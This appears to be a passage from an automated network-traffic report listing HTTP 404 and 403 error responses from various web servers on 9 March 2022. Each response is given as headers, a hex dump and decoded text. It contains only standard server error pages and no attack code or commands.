20 22 64 61 74 61 4c 61 79 65 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:45 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:39:23 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:39:24 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:39:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveETag: "61b1e4e7-31a"Server: Data Raw: 33 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 74 64 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 7d 0a 74 64 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 20 7d 0a 74 61 62 6c 65 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 30 70 78 3b 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 74 61 62 6c 65 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 77 69 64 74 68 3d 22 35 30 25 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 0a 3c 74 72 3e 0a 3c 74 64 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 3e 0a 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 68 32 3e 52 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 70 3e 57 65 20 61 72 65 20 73 6f 72 72 79 2c 20 62 75 74 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 2e 0a 54 68 65 20 70 61 67 65 20 68 61 73 20 65 69 74 68 65 72 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 72 65 6e 61 6d 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 3c 70 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 72 65 64 22 3e 28 48 54 54 50 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 29 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 42 61 63 6b 3c 2f 61 3e 20 74 6f 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 26 6e 62 73 70 3b 26 6e 62 73 70 3b 26 6e 62 73 70 3b 7c 26 6e 62 73 70 3b 26 6e 62 73 70 3b 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 65 64 3c 2f 61 3e 20 74 6f 20 68 6f 6d 65 70 61 67 65 3c 2f 70 3e 0a 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31a<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><title>Requested URL cannot be found</title><style type="text/css">td { font-family: verdana, arial, sans-serif; }td { font-size: 12px; }table { margin-left: 50px; }</style></head><body><table align="left" width="50%" cellpadding="0" cellspacing="0"><tr><td align="left"><p> </p><h2>Reque
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: awselb/2.0Date: Wed, 09 Mar 2022 13:39:28 GMTContent-Type: text/plain; charset=utf-8Content-Length: 0Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:29 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Mar 2022 13:39:31 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:31 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Wed, 09 Mar 2022 21:39:31 GMTContent-Type: text/htmlX-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.16.1Date: Wed, 09 Mar 2022 13:39:35 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "5f9e16e8-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:39:37 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:40 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:42 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Mar 2022 13:39:46 GMTContent-Type: text/html; charset=utf-8Content-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:49 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:39:49 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 09 Mar 2022 13:39:53 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:39:53 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:39:53 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:39:53 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 09 Mar 2022 13:39:56 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
